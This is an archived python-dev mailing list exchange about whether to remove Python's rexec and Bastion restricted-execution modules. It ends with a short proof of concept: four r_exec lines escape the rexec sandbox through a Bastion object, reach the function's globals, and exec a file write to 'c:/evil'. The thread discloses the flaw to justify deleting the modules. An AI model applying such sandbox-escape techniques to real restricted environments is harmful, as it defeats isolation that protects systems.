From: "Guido van Rossum" <guido@python.org>
> > > [GvR]
> > > > In the mean time, I think the best thing to do about rexec.py is to
> > > > *delete* it from the releases (both 2.2.3 and 2.3). Keeping it
> > > > around, even with a warning, is an invitation for disasters. If
> > > > people were using it seriously, they *should* be warned.
>
> > From: "Raymond Hettinger" <python@rcn.com>
> > > When using Python as a embedded scripting language, rexec.py
> > > still has some value in blocking off part of the system from
> > > non-deliberate access.
>
> [Samuele]
> > Should we keep Bastion too or should it go?
>
> Good question.
>
> > From Bastion.py __doc__ :
> >
> > "... Bastions have a number of uses, but the most
> > obvious one is to provide code executing in restricted mode with a
> > safe interface to an object implemented in unrestricted mode..."
> >
> >
> > consider this potential setup (inspired by the Bastion test code in
> > Bastion.py):
> >
> > Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on
win32
> > Type "help", "copyright", "credits" or "license" for more information.
> > >>> class C: pass
> > ...
> > >>> import Bastion; b=Bastion.Bastion(C())
> > >>> import rexec; r=rexec.RExec()
> > >>> r.add_module('__main__').b=b
> > >>>
> >
> > what can be done inside r?
>
> Who knows, at this point. I don't want to have to worry about that,
> that's why I'm proposing to punt.
and I wholeheartedly agree. Sorry for the melodramatic approach, but people
seem not serious enough about the issues.
Anyway the answer is _Everything_:
>>> r.r_exec("t=b._get_")
>>> r.r_exec("b._get_=t.__getattribute__")
>>> r.r_exec("g=b.func_globals")
>>> r.r_exec("""exec "open('c:/evil','w')" in g""")
like opening a file for writing.
regards.
RetroSearch is an open source project built by @garambo | Open a GitHub Issue
Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo
HTML:
3.2
| Encoding:
UTF-8
| Version:
0.7.4